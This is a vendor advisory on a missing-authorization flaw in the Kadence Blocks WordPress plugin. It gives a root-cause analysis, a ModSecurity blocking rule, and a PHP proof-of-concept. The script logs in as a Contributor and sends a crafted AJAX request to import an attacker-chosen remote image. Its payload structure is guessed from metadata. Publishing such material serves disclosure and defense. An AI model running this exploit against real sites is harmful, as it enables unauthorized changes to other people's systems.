Atomic Edge analysis of CVE-2026-12902 (metadata-based):
This vulnerability affects the Kadence Blocks plugin for WordPress versions up to and including 3.7.7. It allows authenticated users with Contributor-level access or higher to create arbitrary Media Library attachments by downloading remote images via two AJAX actions: kadence_import_process_pattern and kadence_import_process_data. The CVSS score is 4.3 (Medium) with a vector string suggesting low attack complexity and no user interaction required, though only low integrity impact is possible (C:N/I:L/A:N).
Root Cause: Based on the CWE classification (862 Missing Authorization) and the CVE description, the root cause is the absence of proper capability checks in the AJAX handler callbacks for the two named actions. In WordPress, AJAX actions registered with wp_ajax_{action} hooks must independently verify that the current user has the required capabilities (e.g., upload_files for media uploads). Atomic Edge analysis infers that the plugin’s import functionality calls wp_upload_bits() and wp_insert_attachment() to save remote images without first checking if the user has upload_files capability. This is a clear authorization bypass, not a code execution or privilege escalation vulnerability.
Exploitation: An authenticated attacker with Contributor-level access sends a POST request to /wp-admin/admin-ajax.php with parameter action set to either kadence_import_process_pattern or kadence_import_process_data. The request includes parameters that specify remote image URLs (likely within a pattern definition or import data payload). The vulnerable handler downloads these remote images to the WordPress uploads directory and inserts them as media attachments. The attacker gains the ability to populate the Media Library with arbitrary images without having the upload_files capability typically reserved for Author or Editor roles.
Remediation: The patched version 3.7.8 likely adds a capability check such as current_user_can(‘upload_files’) before executing the import logic. Developers should always verify user permissions using WordPress capability functions like current_user_can() or user_can() in AJAX handlers that perform sensitive operations. A second defense layer could include nonce verification, though the primary fix addresses the missing authorization check.
Impact: Successful exploitation allows attackers to upload arbitrary images from remote servers to the WordPress media library. While this does not directly enable code execution or data theft, it could be used to inject malicious image files (e.g., with embedded scripts), fill the media library with spam content, or bypass content restrictions on allowed file types. The CVSS score of 4.3 reflects the limited but real integrity impact. Atomic Edge research notes that this could be chained with other vulnerabilities (such as stored XSS in image metadata) for a more severe attack.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-12902 (metadata-based)
# Blocks exploitation of Missing Authorization in Kadence Blocks AJAX import actions
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:20261290,phase:2,deny,status:403,chain,msg:'CVE-2026-12902 - Kadence Blocks AJAX Import Authorization Bypass',severity:'CRITICAL',tag:'CVE-2026-12902'"
SecRule ARGS_POST:action "@rx ^kadence_import_process_(?:pattern|data)$" "chain"
SecRule REQUEST_METHOD "@streq POST" "t:none"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-12902 - Kadence Blocks <= 3.7.7 - Missing Authorization to Authenticated (Contributor+) Arbitrary Media Attachment Creation via kadence_import_process_pattern/kadence_import_process_data AJAX Actions
// Configuration - set these before running
$target_url = 'http://example.com'; // Target WordPress site URL (no trailing slash)
$username = 'attacker'; // WordPress username with Contributor+ role
$password = 'password'; // WordPress password
// Remote image URL to inject into the Media Library (attacker-controlled)
$remote_image_url = 'https://example.com/exploit-image.jpg';
// Step 1: Authenticate to get cookies and nonces
$login_url = $target_url . '/wp-login.php';
$login_data = array(
'log' => $username,
'pwd' => $password,
'rememberme' => 'forever',
'wp-submit' => 'Log In'
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies_cve_12902.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
curl_close($ch);
if (strpos($response, 'Dashboard') === false && strpos($response, 'wp-admin') === false) {
die("[!] Authentication failed. Check credentials.n");
}
echo "[+] Authenticated as $username.n";
// Step 2: Get a fresh nonce for the import action (if needed - plugin may not check nonce)
$nonce_url = $target_url . '/wp-admin/admin-ajax.php?action=kadence_import_process_data&nonce_check=1';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $nonce_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies_cve_12902.txt');
curl_setopt($ch, CURLOPT_HTTPHEADER, array('X-Requested-With: XMLHttpRequest'));
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$nonce_response = curl_exec($ch);
curl_close($ch);
// Step 3: Trigger the vulnerability via AJAX action kadence_import_process_data
// The expected payload structure is inferred from common WordPress pattern import functionality
// -- likely expects JSON-encoded pattern data with remote image URL
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$payload = array(
'action' => 'kadence_import_process_data',
'data' => json_encode(array(
'image_urls' => array($remote_image_url),
'pattern_slug' => 'crafted-pattern-01'
))
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($payload));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies_cve_12902.txt');
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
'X-Requested-With: XMLHttpRequest',
'Content-Type: application/x-www-form-urlencoded'
));
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
echo "[+] Sent exploit request to kadence_import_process_data action.n";
echo "[+] HTTP response code: $http_coden";
echo "[+] Response body (partial): " . substr($response, 0, 500) . "n";
// Additional note: The alternative action 'kadence_import_process_pattern' may be used similarly.
// Adjust payload structure based on actual plugin source if known.
echo "[*] Note: CVE indicates any of two AJAX actions may work; try both if needed.n";
echo "[+] Done. Check Media Library for injected attachment: $remote_image_urln";